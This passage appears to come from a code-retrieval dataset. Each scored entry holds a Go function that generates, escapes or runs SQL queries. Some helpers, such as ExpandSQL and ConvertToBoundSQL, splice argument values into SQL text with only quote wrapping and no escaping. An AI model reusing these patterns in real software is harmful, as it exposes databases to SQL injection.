updateSQL(u Upserter) string {\n\tq := fmt.Sprintf(`UPDATE \"%s\" %s %s RETURNING *`,\n\t\tu.Table(), set(u), where(u))\n\n\treturn q\n}", "title": "" }, { "docid": "728f3d2c3f369a8017f1d816b7bae473", "score": "0.5435183", "text": "func (statement *Statement) GenQuerySQL(sqlOrArgs ...interface{}) (string, []interface{}, error) {\n\tif len(sqlOrArgs) > 0 {\n\t\treturn statement.ConvertSQLOrArgs(sqlOrArgs...)\n\t}\n\n\tif statement.RawSQL != \"\" {\n\t\treturn statement.GenRawSQL(), statement.RawParams, nil\n\t}\n\n\tif len(statement.TableName()) <= 0 {\n\t\treturn \"\", nil, ErrTableNotFound\n\t}\n\n\tcolumnStr := statement.ColumnStr()\n\tif len(statement.SelectStr) > 0 {\n\t\tcolumnStr = statement.SelectStr\n\t} else {\n\t\tif statement.JoinStr == \"\" {\n\t\t\tif columnStr == \"\" {\n\t\t\t\tif statement.GroupByStr != \"\" {\n\t\t\t\t\tcolumnStr = statement.quoteColumnStr(statement.GroupByStr)\n\t\t\t\t} else {\n\t\t\t\t\tcolumnStr = statement.genColumnStr()\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tif columnStr == \"\" {\n\t\t\t\tif statement.GroupByStr != \"\" {\n\t\t\t\t\tcolumnStr = statement.quoteColumnStr(statement.GroupByStr)\n\t\t\t\t} else {\n\t\t\t\t\tcolumnStr = \"*\"\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif columnStr == \"\" {\n\t\t\tcolumnStr = \"*\"\n\t\t}\n\t}\n\n\tif err := statement.ProcessIDParam(); err != nil {\n\t\treturn \"\", nil, err\n\t}\n\n\treturn statement.genSelectSQL(columnStr, true, true)\n}", "title": "" }, { "docid": "8156714ef93cd003ceadde93e765f830", "score": "0.5385557", "text": "func AdaptSQL(db *sql.DB) *SQL {\n\treturn &SQL{db: db}\n}", "title": "" }, { "docid": "8156714ef93cd003ceadde93e765f830", "score": "0.5385557", "text": "func AdaptSQL(db *sql.DB) *SQL {\n\treturn &SQL{db: db}\n}", "title": "" }, { "docid": "5d522780a5c7c21bbf4a88d03cdb16b1", "score": "0.5360657", "text": "func (q *Query) buildSQL() string {\n\n\tif len(q.sql) > 0 {\n\t\treturn q.sql\n\t}\n\n\tswitch q.QueryType {\n\tcase \"select\":\n\t\tq.sql = q.buildSelect()\n\tcase \"update\":\n\t\tq.sql = q.buildUpdate()\n\tcase \"delete\":\n\t\tq.sql = q.buildDelete()\n\tcase \"insert\":\n\t\tq.sql = q.buildInsert()\n\tcase \"count\":\n\t\tq.sql = q.buildCount()\n\tdefault:\n\t\tpanic(\"Unknown query type\")\n\t}\n\n\t// fmt.Printf(\"SQL: %s\\n\", sql)\n\n\treturn q.sql\n}", "title": "" }, { "docid": "5b67ae435cb8d5414015087d5b971b39", "score": "0.5336201", "text": "func createStatementMySQL(query string, rows []interface{}) (string, []interface{}, error) {\n\tvar err error\n\tplaceholder, count, err := createPlaceholder(query, rows[0])\n\tif err != nil {\n\t\treturn \"\", nil, err\n\t}\n\n\tplaceholders := make([]string, len(rows))\n\targs := make([]interface{}, (len(rows) * count))\n\n\tvar argCount int\n\tfor i, entry := range rows {\n\t\tplaceholders[i] = placeholder\n\t\tv := reflect.ValueOf(entry)\n\t\tfor y := 0; y < v.NumField(); y++ {\n\t\t\targs[argCount] = v.Field(y).Interface()\n\t\t\targCount++\n\t\t}\n\t}\n\n\tquery = queryValuesStrip(query)\n\tstatement := fmt.Sprintf(\"%s %s\", query, strings.Join(placeholders, \",\"))\n\treturn statement, args, nil\n}", "title": "" }, { "docid": "9e9fa88e26234d3bf82662910dab1ac4", "score": "0.52580994", "text": "func (d Repo) LookupSQL(tag string) (sql string, err error) {\n\tsqlStatement, ok := d.sqlStatements[tag]\n\tif !ok {\n\t\terr = fmt.Errorf(\"preprdsql: '%s' could not be found\", tag)\n\t}\n\n\treturn sqlStatement, err\n}", "title": "" }, { "docid": "a0ef99407994f3a46c94dbe3649fa2f3", "score": "0.5221323", "text": "func (d UpdateDelta) GetSQL() string {\n\tidkeys := d.GetIDKeys()\n\tid := strings.Join(idkeys, \"=? AND \") + \"=?\"\n\t// get the cols without the id\n\tvar writeCols []string\n\n\tfor _, col := range d.GetKeys() {\n\t\texclude := false\n\t\tfor _, idkey := range idkeys {\n\t\t\tif col == idkey {\n\t\t\t\texclude = true\n\t\t\t\tbreak // skip this col as it exists in the id\n\t\t\t}\n\t\t}\n\t\tif !exclude {\n\t\t\twriteCols = append(writeCols, col)\n\t\t}\n\t}\n\tcols := strings.Join(writeCols, \"=?, \") + \"=?\"\n\n\treturn fmt.Sprintf(`UPDATE %s SET %s WHERE %s`, d.Table, cols, id)\n}", "title": "" }, { "docid": "3a613e20f3e22b6008e536d4c9e31623", "score": "0.52052784", "text": "func EscapeMySQLString(value string) string {\n\tfor _, r := range escapeReplace {\n\t\tvalue = strings.Replace(value, r.Key, r.Replaced, -1)\n\t}\n\n\treturn value\n}", "title": "" }, { "docid": "c2075a97cec492432c923e2f5a59e115", "score": "0.517661", "text": "func NormalizeAndRedactSQLQuery(sql string) (normalizedQuery string, redactedQuery string, error error) {\n\tbv := map[string]*querypb.BindVariable{}\n\tsqlStripped, _ := sqlparser.SplitMarginComments(sql)\n\n\t// sometimes queries might have ; at the end, that should be stripped\n\tsqlStripped = strings.TrimSuffix(sqlStripped, \";\")\n\n\tstmt, err := sqlparser.Parse(sqlStripped)\n\tif err != nil {\n\t\treturn \"\", \"\", err\n\t}\n\n\tnormalizedQ := sqlparser.String(stmt)\n\n\t// redact and mask VALUES\n\tsqlparser.Normalize(stmt, bv, ValuePlaceholder)\n\tredactedQ := sqlparser.String(stmt)\n\n\treturn normalizedQ, redactedQ, nil\n}", "title": "" }, { "docid": "87503e7bf597a627b1de0447ddea398e", "score": "0.5150857", "text": "func MysqlRealEscapeString(value string) string {\n\treplace := map[string]string{\"\\\\\": \"\\\\\\\\\", \"'\": `\\'`, \"\\\\0\": \"\\\\\\\\0\", \"\\n\": \"\\\\n\", \"\\r\": \"\\\\r\", `\"`: `\\\"`, \"\\x1a\": \"\\\\Z\"}\n\tfor b, a := range replace {\n\t\tvalue = strings.Replace(value, b, a, -1)\n\t}\n\treturn value\n}", "title": "" }, { "docid": "912015f8432c81514b423c16b3fc7ba1", "score": "0.5125813", "text": "func BuildSQLSelect(table string, fields []string, fieldID string) string {\n\tif len(fields) == 0 {\n\t\treturn \"\"\n\t}\n\n\tvar args string\n\tfor _, v := range fields {\n\t\targs += fmt.Sprintf(\"%s, \", v)\n\t}\n\n\treturn fmt.Sprintf(\"SELECT %s, %sd_InsertDate, d_UpdateDate FROM %s\", fieldID, args, table)\n}", "title": "" }, { "docid": "8f27970d9338783ac4b90e1f257fcb96", "score": "0.51075935", "text": "func MysqlRealEscapeString(value string) string {\n\tvalue = strings.Replace(value, `\\`, `\\\\`, -1)\n\tvalue = strings.Replace(value, `\"`, `\\\"`, -1)\n\treturn value\n}", "title": "" }, { "docid": "0d711e2cbb7bb2b8bbcddd64550d6219", "score": "0.5097419", "text": "func ObfuscateSQL(rawQuery, opts *C.char, errResult **C.char) *C.char {\n\toptStr := C.GoString(opts)\n\tif optStr == \"\" {\n\t\t// ensure we have a valid JSON string before unmarshalling\n\t\toptStr = \"{}\"\n\t}\n\tvar sqlOpts sqlConfig\n\tif err := json.Unmarshal([]byte(optStr), &sqlOpts); err != nil {\n\t\tlog.Errorf(\"Failed to unmarshal obfuscation options: %s\", err.Error())\n\t\t*errResult = TrackedCString(err.Error())\n\t}\n\ts := C.GoString(rawQuery)\n\tobfuscatedQuery, err := lazyInitObfuscator().ObfuscateSQLStringWithOptions(s, &obfuscate.SQLConfig{\n\t\tDBMS: sqlOpts.DBMS,\n\t\tTableNames: sqlOpts.TableNames,\n\t\tCollectCommands: sqlOpts.CollectCommands,\n\t\tCollectComments: sqlOpts.CollectComments,\n\t\tReplaceDigits: sqlOpts.ReplaceDigits,\n\t\tKeepSQLAlias: sqlOpts.KeepSQLAlias,\n\t\tDollarQuotedFunc: sqlOpts.DollarQuotedFunc,\n\t})\n\tif err != nil {\n\t\t// memory will be freed by caller\n\t\t*errResult = TrackedCString(err.Error())\n\t\treturn nil\n\t}\n\tif sqlOpts.ReturnJSONMetadata {\n\t\tout, err := json.Marshal(obfuscatedQuery)\n\t\tif err != nil {\n\t\t\t// memory will be freed by caller\n\t\t\t*errResult = TrackedCString(err.Error())\n\t\t\treturn nil\n\t\t}\n\t\t// memory will be freed by caller\n\t\treturn TrackedCString(string(out))\n\t}\n\t// memory will be freed by caller\n\treturn TrackedCString(obfuscatedQuery.Query)\n}", "title": "" }, { "docid": "e70265a119a81b88691062568e79c5fc", "score": "0.5094188", "text": "func ParseToSQL(input string, tablesColumnsMapper map[string]map[string]*ValueMapper) (string, []error) {\n\tvar result string\n\tvar errs []error\n\tparsed, err := Parse(input)\n\tif err != nil {\n\t\terrs = []error{err}\n\t} else if parsed == nil {\n\t\terrs = []error{errors.New(\"Parsed input is actually null\")}\n\t} else if parsed.FetchAll {\n\n\t} else {\n\t\ttraverse(parsed, adapt(tablesColumnsMapper))\n\t}\n\treturn result, errs\n}", "title": "" }, { "docid": "ef93fb9748d4d3f46136dc9c44253441", "score": "0.50763196", "text": "func UpdateSQL(query string, data interface{}, args ...interface{}) (string, []interface{}) {\n\tsql := \"\"\n\tbinds := make([]interface{}, 0)\n\n\tv := reflect.Indirect(reflect.ValueOf(data))\n\n\tswitch v.Kind() {\n\tcase reflect.Map:\n\t\tx, ok := data.(X)\n\n\t\tif !ok {\n\t\t\tpanic(errUpdateInvalidType)\n\t\t}\n\n\t\tsql, binds = updateWithMap(MySQL, query, x, args...)\n\tcase reflect.Struct:\n\t\tsql, binds = updateWithStruct(MySQL, query, v, args...)\n\tdefault:\n\t\tpanic(errUpdateInvalidType)\n\t}\n\n\treturn sql, binds\n}", "title": "" }, { "docid": "122a0146ee2663972c43f332ffccdd79", "score": "0.5074958", "text": "func (statement *Statement) GenFindSQL(autoCond builder.Cond) (string, []interface{}, error) {\n\tif statement.RawSQL != \"\" {\n\t\treturn statement.GenRawSQL(), statement.RawParams, nil\n\t}\n\n\tif len(statement.TableName()) <= 0 {\n\t\treturn \"\", nil, ErrTableNotFound\n\t}\n\n\tcolumnStr := statement.ColumnStr()\n\tif len(statement.SelectStr) > 0 {\n\t\tcolumnStr = statement.SelectStr\n\t} else {\n\t\tif statement.JoinStr == \"\" {\n\t\t\tif columnStr == \"\" {\n\t\t\t\tif statement.GroupByStr != \"\" {\n\t\t\t\t\tcolumnStr = statement.quoteColumnStr(statement.GroupByStr)\n\t\t\t\t} else {\n\t\t\t\t\tcolumnStr = statement.genColumnStr()\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tif columnStr == \"\" {\n\t\t\t\tif statement.GroupByStr != \"\" {\n\t\t\t\t\tcolumnStr = statement.quoteColumnStr(statement.GroupByStr)\n\t\t\t\t} else {\n\t\t\t\t\tcolumnStr = \"*\"\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif columnStr == \"\" {\n\t\t\tcolumnStr = \"*\"\n\t\t}\n\t}\n\n\tstatement.cond = statement.cond.And(autoCond)\n\n\treturn statement.genSelectSQL(columnStr, true, true)\n}", "title": "" }, { "docid": "afddacc2751f22f553681d5cb9b1fbd6", "score": "0.50687236", "text": "func parseSQL(sql, name string) database {\n\tvar t table\n\td := database{Name: name}\n\tcommenting := false\n\n\t// Split lines\n\ts := strings.Split(sql, \"\\n\")\n\n\tfor _, s := range s {\n\t\ts = cleanLine(s)\n\n\t\tlineType := getType(s)\n\t\tif lineType == typeCommentContained {\n\t\t\tcommenting = false\n\t\t}\n\n\t\t// If we are in commenting mode... dont do anything else until we get a\n\t\t// close comment back\n\t\tif commenting && lineType != typeCloseTable {\n\t\t\tcontinue\n\t\t}\n\n\t\t// What is it\n\t\tswitch lineType {\n\t\tcase typeCommentOpen:\n\t\t\tcommenting = true\n\t\tcase typeCommentClose:\n\t\t\tcommenting = false\n\t\tcase typeUnknown, typeCommentContained:\n\t\t\t// Do nothing\n\t\tcase typeCreateTable:\n\t\t\tt = table{\n\t\t\t\tName: getEntity(s),\n\t\t\t}\n\t\tcase typeTableColumn:\n\t\t\tf := field{\n\t\t\t\tName: getEntity(s),\n\t\t\t\tDetails: getColumnDetails(s),\n\t\t\t}\n\t\t\tt.Fields = append(t.Fields, f)\n\t\tcase typePrimaryKey, typeKey:\n\t\t\tt.Keys = append(t.Keys, s)\n\t\tcase typeCloseTable:\n\t\t\tt.Details = s\n\t\t\td.Tables = append(d.Tables, t)\n\t\t}\n\t}\n\n\treturn d\n}", "title": "" }, { "docid": "85880a04f9b58001f5a68451ff6df626", "score": "0.5008075", "text": "func (p *DataTable) GenSQL(accion string) ([]StQuery, error) {\n\tswitch accion {\n\tcase INSERT:\n\t\treturn p.GenInserts()\n\tcase DELETE:\n\t\treturn p.GenDeletes()\n\tcase UPDATE:\n\t\treturn p.GenUpdates()\n\tdefault:\n\t\treturn nil, utl.Msj.GetError(\"DT07\")\n\t}\n}", "title": "" }, { "docid": "424a7c9b2f436bcf3f35b9d42a8c6d47", "score": "0.4986051", "text": "func (m *AbstractManager) ExpandSQL(sql string, arguments []interface{}) string {\n\tfor _, arg := range arguments {\n\t\tstringArg := toolbox.AsString(arg)\n\t\tif arg == nil {\n\t\t\tstringArg = \"NULL\"\n\t\t} else {\n\t\t\tif toolbox.IsString(arg) || toolbox.CanConvertToString(arg) {\n\t\t\t\tstringArg = \"'\" + stringArg + \"'\"\n\t\t\t}\n\t\t}\n\t\tsql = strings.Replace(sql, \"?\", stringArg, 1)\n\t}\n\treturn sql\n}", "title": "" }, { "docid": "61a17597c8387c1ca8e481a871b6cf9b", "score": "0.49729544", "text": "func genSQL(l *Layer, pool *pgx.ConnPool, tblname string, flds []string, buffer bool) (sql string, err error) {\n\n\t// we need to hit the database to see what the fields are.\n\tif len(flds) == 0 {\n\t\tsql := fmt.Sprintf(fldsSQL, tblname)\n\n\t\t//\tif a subquery is set in the 'sql' config the subquery is set to the layer's\n\t\t//\t'tablename' param. because of this case normal SQL token replacement needs to be\n\t\t//\tapplied to tablename SQL generation\n\t\ttile := provider.NewTile(0, 0, 0, 64, proj.WebMercator)\n\t\tsql, err = replaceTokens(sql, l, tile, buffer)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\trows, err := pool.Query(sql)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tdefer rows.Close()\n\n\t\tfdescs := rows.FieldDescriptions()\n\t\tif len(fdescs) == 0 {\n\t\t\treturn \"\", fmt.Errorf(\"No fields were returned for table %v\", tblname)\n\t\t}\n\n\t\t// to avoid field names possibly colliding with Postgres keywords,\n\t\t// we wrap the field names in quotes\n\t\tfor i := range fdescs {\n\t\t\tflds = append(flds, fdescs[i].Name)\n\t\t}\n\t}\n\n\tfgeom := -1\n\n\tfor i, f := range flds {\n\t\tif f == l.geomField {\n\t\t\tfgeom = i\n\t\t}\n\t\tflds[i] = fmt.Sprintf(`\"%v\"`, flds[i])\n\t}\n\n\t// to avoid field names possibly colliding with Postgres keywords,\n\t// we wrap the field names in quotes\n\tif fgeom == -1 {\n\t\tflds = append(flds, fmt.Sprintf(`ST_AsBinary(\"%v\") AS \"%[1]v\"`, l.geomField))\n\t} else {\n\t\tflds[fgeom] = fmt.Sprintf(`ST_AsBinary(\"%v\") AS \"%[1]v\"`, l.geomField)\n\t}\n\n\t// add required id field\n\tif l.idField != \"\" {\n\t\tflds = append(flds, fmt.Sprintf(`\"%v\"`, l.idField))\n\t}\n\n\tselectClause := strings.Join(flds, \", \")\n\n\treturn fmt.Sprintf(stdSQL, selectClause, tblname, l.geomField), nil\n}", "title": "" }, { "docid": "e8a23503dbdeb369afd662eaeeec63e3", "score": "0.4960387", "text": "func ConvertToBoundSQL(sql string, args []interface{}) (string, error) {\n\tbuf := StringBuilder{}\n\tvar i, j, start int\n\tfor ; i < len(sql); i++ {\n\t\tif sql[i] == '?' {\n\t\t\t_, err := buf.WriteString(sql[start:i])\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t\tstart = i + 1\n\n\t\t\tif len(args) == j {\n\t\t\t\treturn \"\", ErrNeedMoreArguments\n\t\t\t}\n\n\t\t\targ := args[j]\n\n\t\t\tif exprArg, ok := arg.(sqlExpr); ok {\n\t\t\t\t_, err = fmt.Fprint(&buf, exprArg.sqlExpr)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn \"\", err\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tif namedArg, ok := arg.(sql2.NamedArg); ok {\n\t\t\t\t\targ = namedArg.Value\n\t\t\t\t}\n\n\t\t\t\tif noSQLQuoteNeeded(arg) {\n\t\t\t\t\t_, err = fmt.Fprint(&buf, arg)\n\t\t\t\t} else {\n\t\t\t\t\t_, err = fmt.Fprintf(&buf, \"'%v'\", arg)\n\t\t\t\t}\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn \"\", err\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tj = j + 1\n\t\t}\n\t}\n\t_, err := buf.WriteString(sql[start:])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn buf.String(), nil\n}", "title": "" }, { "docid": "675770f1b35a0a8e449344674b22da4d", "score": "0.49443403", "text": "func (m *Manager) PrepareSQL(data interface{}, tmpl string, qType driver.QuotingType) (*Stmt, error) {\n\tqstr := m.BuildSQL(data, tmpl, qType)\n\tt := reflect.Indirect(reflect.ValueOf(data)).Type()\n\tinfo := m.getInfo(t)\n\tcols := make([]string, len(info.Fields))\n\tfor x, c := range info.Fields {\n\t\tcols[x] = c.Name\n\t}\n\treturn m.prepare(m.Connection().Prepare, data, qstr, t, info.Defs, cols)\n}", "title": "" }, { "docid": "18acd852c420ce46c984f74d35318284", "score": "0.4940294", "text": "func (m *Migration) DownSQL() string {\n\treturn m.down\n}", "title": "" }, { "docid": "3bb4bcbf6da3598dfa553fbb0cd51609", "score": "0.4930732", "text": "func CreateSQLPlaceholders(length int) string {\n\tvar placeholders string\n\tfor i := 0; i < length; i++ {\n\t\tplaceholders += `$` + strconv.Itoa(i+1) + `,`\n\n\t}\n\tplaceholders = placeholders[:len(placeholders)-1]\n\treturn placeholders\n}", "title": "" }, { "docid": "a2e6d5dd1e653b786e802dc2bc38bbc7", "score": "0.492469", "text": "func insertSQL(u Upserter) string {\n\tq := fmt.Sprintf(`INSERT INTO \"%s\" %s RETURNING *`, u.Table(), values(u))\n\n\treturn q\n}", "title": "" }, { "docid": "1ef27c62317d4cefda42b6e695d84d00", "score": "0.4923133", "text": "func GenerateUpdateSQL(dbTable DbTableMeta) (string, error) {\n\tprimaryCnt := PrimaryKeyCount(dbTable)\n\t// nonPrimaryCnt := len(dbTable.Columns()) - primaryCnt\n\n\tif primaryCnt == 0 {\n\t\treturn \"\", fmt.Errorf(\"table %s does not have a primary key, cannot generate sql\", dbTable.TableName())\n\t}\n\n\tbuf := bytes.Buffer{}\n\tbuf.WriteString(fmt.Sprintf(\"UPDATE `%s` set\", dbTable.TableName()))\n\n\tsetCol := 1\n\tfor _, col := range dbTable.Columns() {\n\t\tif !col.IsPrimaryKey() {\n\t\t\tif setCol != 1 {\n\t\t\t\tbuf.WriteString(\",\")\n\t\t\t}\n\n\t\t\tbuf.WriteString(fmt.Sprintf(\" %s = ?\", col.Name()))\n\t\t\tsetCol++\n\t\t}\n\t}\n\n\tbuf.WriteString(\" WHERE\")\n\taddedKey := 0\n\tfor _, col := range dbTable.Columns() {\n\t\tif col.IsPrimaryKey() {\n\t\t\tbuf.WriteString(fmt.Sprintf(\" %s = ?\", col.Name()))\n\n\t\t\tsetCol++\n\t\t\taddedKey++\n\n\t\t\tif addedKey < primaryCnt {\n\t\t\t\tbuf.WriteString(\" AND\")\n\t\t\t}\n\t\t}\n\t}\n\n\treturn buf.String(), nil\n}", "title": "" }, { "docid": "3aeecba282d68e3d756dd6dd950c1d02", "score": "0.49142516", "text": "func (q Query) ToSQL() (*SQLQuery, error) {\n\t/*\n\t * We will add check for zero table\n\t * If the no of tables is one we will choose the single table query mode\n\t */\n\tif len(q.Tables) == 0 {\n\t\treturn nil, errors.New(\"couldn't find any tables\")\n\t}\n\tif len(q.Tables) == 1 {\n\t\treturn q.ToSingleTableSQL()\n\t}\n\treturn nil, errors.New(\"couldn't convert the query to sql as no of tables not suppoerted\")\n}", "title": "" }, { "docid": "a2e8c128fd2d458e9ce67986a63bf8c1", "score": "0.49106127", "text": "func execSQL(query string, param ...interface{}) error {\n\t_, err := conn.Exec(query, param...)\n\tif mySQLError(err, 1146) {\n\t\tif err = mysqlInitLow(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tfor i := 0; mySQLError(err, 1213) && i < 3; i++ {\n\t\t_, err = conn.Exec(query, param...)\n\t}\n\treturn err\n}", "title": "" }, { "docid": "0f60bdc80435ab006ec639663b31b10e", "score": "0.48970672", "text": "func (s MySQLSanitizer) Sanitize(content string) string {\n\tlog.Debug(\"Sanitising mysql\")\n\treturn strings.ReplaceAll(content, \"root:secret\", \"root:test\")\n}", "title": "" }, { "docid": "c2d1eef7803d183842289a184a2c95a4", "score": "0.4896529", "text": "func querySQL(params map[string]string) string {\n\tvar output []string\n\tfor _, k := range sortedParamKeys(params) {\n\t\toutput = append(output, fmt.Sprintf(\"%s=?\", database.QuoteField(k)))\n\t}\n\treturn strings.Join(output, \",\")\n}", "title": "" }, { "docid": "d836d870c9274a2c3e270c72d9c4b2e3", "score": "0.48808432", "text": "func (d InsertDelta) GetSQL() string {\n\tvals := \"\"\n\tsep := \"\"\n\tfor range d.GetKeys() {\n\t\tvals += sep + \"?\"\n\t\tsep = \",\"\n\t}\n\treturn fmt.Sprintf(`INSERT INTO %s (%s) VALUES (%s)`, d.Table, strings.Join(d.GetKeys(), \",\"), vals)\n}", "title": "" }, { "docid": "428cecb60676b8b21c822c828fce3172", "score": "0.48803565", "text": "func GenerateMigrationSQL(sfrom, sto *schema.Schema) []string {\n\tptch := &schema.PatchSchema{CurrentSchema: sfrom.CurrentSchema}\n\tptch.Build(sfrom, sto)\n\treturn ptch.GenerateSQL()\n}", "title": "" }, { "docid": "48d114718068c5cc217706a18bc4962c", "score": "0.48794356", "text": "func BuildSQLSelectFields(table string, fields []string) string {\n\tif len(fields) == 0 {\n\t\treturn \"\"\n\t}\n\n\tvar args string\n\tfor _, v := range fields {\n\t\targs += fmt.Sprintf(\"%s, \", v)\n\t}\n\n\treturn fmt.Sprintf(\"SELECT %s FROM %s\", args[:len(args)-2], table)\n}", "title": "" }, { "docid": "89d8c548db8514243ea0753dc8feb142", "score": "0.48626035", "text": "func (sql Selector) SQL() string {\n\ts := \"SELECT \"\n\ts = iifAdd(s, len(sql.columns) == 0, \"*\", strings.Join(sql.columns, ColSep))\n\ts = iifAdd(s, sql.from != \"\", \" FROM \"+sql.from, \"\")\n\tif sql.from != \"\" && len(sql.joins) > 0 {\n\t\ts += \" \" + strings.Join(sql.joins, \" \")\n\t}\n\ts = iifAdd(s, sql.where != \"\", \" WHERE \"+sql.where, \"\")\n\ts = iifAdd(s, sql.orderBy != \"\", \" ORDER BY \"+sql.orderBy, \"\")\n\tif sql.limit != nil {\n\t\ts += fmt.Sprintf(\" LIMIT %d\", *sql.limit)\n\t}\n\tif sql.offset != nil {\n\t\ts += fmt.Sprintf(\" OFFSET %d\", *sql.offset)\n\t}\n\treturn s\n}", "title": "" }, { "docid": "70cafee01a53e8719341cb1fb8fdd6df", "score": "0.48545074", "text": "func (parse *Parse) makeReplaceIntoStatement(AllColumns [][]Columns, table string, database string) {\n\tvar buf bytes.Buffer\n\tvar query string\n\n\tfor _, columns := range AllColumns {\n\n\t\tbuf.WriteString(fmt.Sprintf(\"replace into `%s`.`%s` values (\", database, table))\n\t\tfirstCol := true\n\n\t\tfor _, column := range columns {\n\n\t\t\t// Skip internal field.\n\t\t\tif column.FieldName == \"DB_ROW_ID\" ||\n\t\t\t\tcolumn.FieldName == \"DB_TRX_ID\" ||\n\t\t\t\tcolumn.FieldName == \"DB_ROLL_PTR\" {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif firstCol {\n\t\t\t\tfirstCol = false\n\t\t\t} else {\n\t\t\t\tbuf.WriteByte(',')\n\t\t\t}\n\n\t\t\tif column.MySQLType == utils.MYSQL_TYPE_BIT {\n\t\t\t\tbuf.WriteString(\"b\")\n\t\t\t}\n\n\t\t\tif column.IsBinary {\n\t\t\t\tbuf.WriteString(\"unhex(\")\n\t\t\t}\n\n\t\t\tif column.FieldValue != nil && column.FieldValue != \"NULL\" {\n\t\t\t\tbuf.WriteByte('\\'')\n\t\t\t\tbuf.WriteString(utils.EscapeValue(fmt.Sprintf(\"%v\", column.FieldValue)))\n\t\t\t\tbuf.WriteByte('\\'')\n\t\t\t} else {\n\t\t\t\t//buf.WriteByte('\\'')\n\t\t\t\t//buf.WriteByte('\\'')\n\t\t\t\tbuf.WriteString(\"NULL\")\n\t\t\t}\n\n\t\t\tif column.IsBinary {\n\t\t\t\tbuf.WriteString(\")\")\n\t\t\t}\n\t\t}\n\n\t\tbuf.WriteString(\");\")\n\t\tquery = buf.String()\n\t\tbuf.Reset()\n\n\t\tfmt.Println(query)\n\t\tlogs.Debug(\"query is \", query)\n\n\t}\n\n}", "title": "" }, { "docid": "6d7201148f0dda980a453c290d4b22b5", "score": "0.48512796", "text": "func prepareSQL(c *Config) (db *sql.DB, qs map[string]*Prepared, err error) {\n\tif db, err = sql.Open(c.SQL.Driver, c.SQL.URI); err != nil {\n\t\treturn\n\t}\n\tqs = make(map[string]*Prepared)\n\tfor topic, q := range c.SQL.Query {\n\t\tstmt, err := db.Prepare(q.Prepare)\n\t\tif err != nil {\n\t\t\tdb.Close()\n\t\t\treturn nil, nil, err\n\t\t}\n\t\tqs[topic] = &Prepared{\n\t\t\tstmt: stmt,\n\t\t\tcacheable: q.Cacheable,\n\t\t\targuments: append([]string{}, q.Arguments...),\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "96e36b86cfc83cdf2966b2f324a61f75", "score": "0.48299918", "text": "func (statement *Statement) GenExistSQL(bean ...interface{}) (string, []interface{}, error) {\n\tif statement.RawSQL != \"\" {\n\t\treturn statement.GenRawSQL(), statement.RawParams, nil\n\t}\n\n\tvar b interface{}\n\tif len(bean) > 0 {\n\t\tb = bean[0]\n\t\tbeanValue := reflect.ValueOf(bean[0])\n\t\tif beanValue.Kind() != reflect.Ptr {\n\t\t\treturn \"\", nil, errors.New(\"needs a pointer\")\n\t\t}\n\n\t\tif beanValue.Elem().Kind() == reflect.Struct {\n\t\t\tif err := statement.SetRefBean(bean[0]); err != nil {\n\t\t\t\treturn \"\", nil, err\n\t\t\t}\n\t\t}\n\t}\n\ttableName := statement.TableName()\n\tif len(tableName) <= 0 {\n\t\treturn \"\", nil, ErrTableNotFound\n\t}\n\tif statement.RefTable != nil {\n\t\treturn statement.Limit(1).GenGetSQL(b)\n\t}\n\n\ttableName = statement.quote(tableName)\n\n\tbuf := builder.NewWriter()\n\tif statement.dialect.URI().DBType == schemas.MSSQL {\n\t\tif _, err := fmt.Fprintf(buf, \"SELECT TOP 1 * FROM %s\", tableName); err != nil {\n\t\t\treturn \"\", nil, err\n\t\t}\n\t\tif err := statement.writeJoin(buf); err != nil {\n\t\t\treturn \"\", nil, err\n\t\t}\n\t\tif statement.Conds().IsValid() {\n\t\t\tif _, err := fmt.Fprintf(buf, \" WHERE \"); err != nil {\n\t\t\t\treturn \"\", nil, err\n\t\t\t}\n\t\t\tif err := statement.Conds().WriteTo(statement.QuoteReplacer(buf)); err != nil {\n\t\t\t\treturn \"\", nil, err\n\t\t\t}\n\t\t}\n\t} else if statement.dialect.URI().DBType == schemas.ORACLE {\n\t\tif _, err := fmt.Fprintf(buf, \"SELECT * FROM %s\", tableName); err != nil {\n\t\t\treturn \"\", nil, err\n\t\t}\n\t\tif err := statement.writeJoin(buf); err != nil {\n\t\t\treturn \"\", nil, err\n\t\t}\n\t\tif _, err := fmt.Fprintf(buf, \" WHERE \"); err != nil {\n\t\t\treturn \"\", nil, err\n\t\t}\n\t\tif statement.Conds().IsValid() {\n\t\t\tif err := statement.Conds().WriteTo(statement.QuoteReplacer(buf)); err != nil {\n\t\t\t\treturn \"\", nil, err\n\t\t\t}\n\t\t\tif _, err := fmt.Fprintf(buf, \" AND \"); err != nil {\n\t\t\t\treturn \"\", nil, err\n\t\t\t}\n\t\t}\n\t\tif _, err := fmt.Fprintf(buf, \"ROWNUM=1\"); err != nil {\n\t\t\treturn \"\", nil, err\n\t\t}\n\t} else {\n\t\tif _, err := fmt.Fprintf(buf, \"SELECT 1 FROM %s\", tableName); err != nil {\n\t\t\treturn \"\", nil, err\n\t\t}\n\t\tif err := statement.writeJoin(buf); err != nil {\n\t\t\treturn \"\", nil, err\n\t\t}\n\t\tif statement.Conds().IsValid() {\n\t\t\tif _, err := fmt.Fprintf(buf, \" WHERE \"); err != nil {\n\t\t\t\treturn \"\", nil, err\n\t\t\t}\n\t\t\tif err := statement.Conds().WriteTo(statement.QuoteReplacer(buf)); err != nil {\n\t\t\t\treturn \"\", nil, err\n\t\t\t}\n\t\t}\n\t\tif _, err := fmt.Fprintf(buf, \" LIMIT 1\"); err != nil {\n\t\t\treturn \"\", nil, err\n\t\t}\n\t}\n\n\treturn buf.String(), buf.Args(), nil\n}", "title": "" }, { "docid": "c100868569336c748e6efe3ca69fe6af", "score": "0.48291245", "text": "func buildQueries() []string {\n\treturn 